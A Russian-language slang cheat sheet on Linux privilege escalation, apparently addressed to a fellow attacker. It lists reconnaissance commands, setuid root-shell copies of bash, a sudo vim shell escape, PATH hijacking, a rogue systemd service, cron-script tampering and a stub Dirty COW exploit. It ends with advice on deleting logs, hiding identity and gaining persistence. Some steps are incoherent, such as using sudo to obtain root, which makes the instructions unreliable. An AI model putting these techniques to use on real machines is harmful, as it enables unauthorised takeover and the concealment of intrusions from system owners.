Локальный прокаченный PrivEsc под Linux: Секретные Фокусы
Давай к делу, старина:
- Шаг первый: Разведка местности
- Оглядываемся, проверяем, что у нас за палец в носу торчит. Чекнем
uname -a
,id
,lsb_release -a
, команды которые покажут нам, что за машинка под нашими пальцами. - Делаем разведку на предмет потенциальных уязвимостей:
- Оглядываемся, проверяем, что у нас за палец в носу торчит. Чекнем
1 2 3 4 |
lspci | grep -E 'VGA|3D' # Видеокарты, ага... Чем богат? find / -name "config.*" 2>/dev/null # Ищем конфиги, что в них? find / -perm -4000 -type f 2>/dev/null # SUID бинарники, интересно... sudo -l # Судо литс, что там забыли? |
Dirty COW Exploit (CVE-2016-5195)
- Этот зверь уже старенький, но работает. Находим эксплойт, ты знаешь где их можно взять (в подвалах, на GitHub, или в наших кустах).
- Применяем его:
1 2 3 4 5 |
// dirtycow.c #include <... int main() { // тут твой код, чтобы сделать root } |
1 2 |
gcc -pthread dirtycow.c -o dirtycow sudo ./dirtycow |
Погнали шелл:
1 2 |
sudo cp /bin/bash /tmp/rootbash && sudo chown root:root /tmp/rootbash && sudo chmod u+s /tmp/rootbash /tmp/rootbash -p |
Sudo Abuse: Вспомним про суду
- Если в суде есть бинарник с SUID, мы можем это использовать. Например:
1 2 |
sudo vim :!/bin/sh |
Либо если есть любой скрипт, который запускается с правами рута через sudo:
1 2 |
sudo /usr/bin/script.sh && cd /tmp && cp /bin/bash ./bash; chmod +s ./bash; ./bash -p; |
PATH Hijack: Путем обмана
- Если находим бинарник, который запускается без полного пути, можно забросить свой скрипт вперёд в пути:
1 2 3 4 5 |
cp /bin/true /tmp/ echo -e '#!/bin/bash\n/bin/bash' > /tmp/true chmod +x /tmp/true export PATH=/tmp:$PATH sudo script.sh # Где script.sh запускает бинарник без пути |
Systemd: Покраду сервисы
- Если можем писать в
/etc/systemd/system/
, создаем сервис:
1 2 3 4 5 6 7 8 9 |
[Unit] Description=Evil Service [Service] ExecStart=/bin/bash Type=oneshot [Install] WantedBy=multi-user.target |
1 |
sudo systemctl enable --now evil.service |
Cronjob Bypass: Найти и обмануть
- Ищем кронджобы:
1 2 |
find /etc -name "*crontab*" 2>/dev/null find /var/spool/cron 2>/dev/null |
Если есть уязвимый скрипт, можно его поменять:
1 2 3 |
cp /usr/bin/script.sh /tmp/evil/script.sh echo -e '#!/bin/bash\ncp /bin/bash /tmp/bash && chmod +s /tmp/bash' > /tmp/evil/script.sh |
Советы:
- Добавь скрипты для автоматизации привилегий — Пиши себе удобные скрипты, чтобы все эти шаги делать быстрее.
- Профанация команд — Попробуй подсунуть хэшу команды, чтобы затереть следы.
- Обман имени пользователя — Вставь подмену UID, чтобы скрыть откуда взялась твоя сессия.
- Без следов — Удаляй логи перед атакой, как разберешься как они работают.
- Компрометация — Если стоит задача полной компрометации, найди все пути, чтобы закрепиться в системе.
Братан, вспомни, как мы сквозь WAF уходили, какие шеллы заливали, как мы заходили через бэкдуры. Если всё уже сделано — похоже, пиздец, red team need rest too. Скоро мы вновь попьем чайку в подвале после такой вот прокачки.
P.S. Помни, что после такой прокачки, нельзя домой с пустыми руками — надо принести бутылку чего-то хорошего для нашего кэшпартии и SAP в кустах.
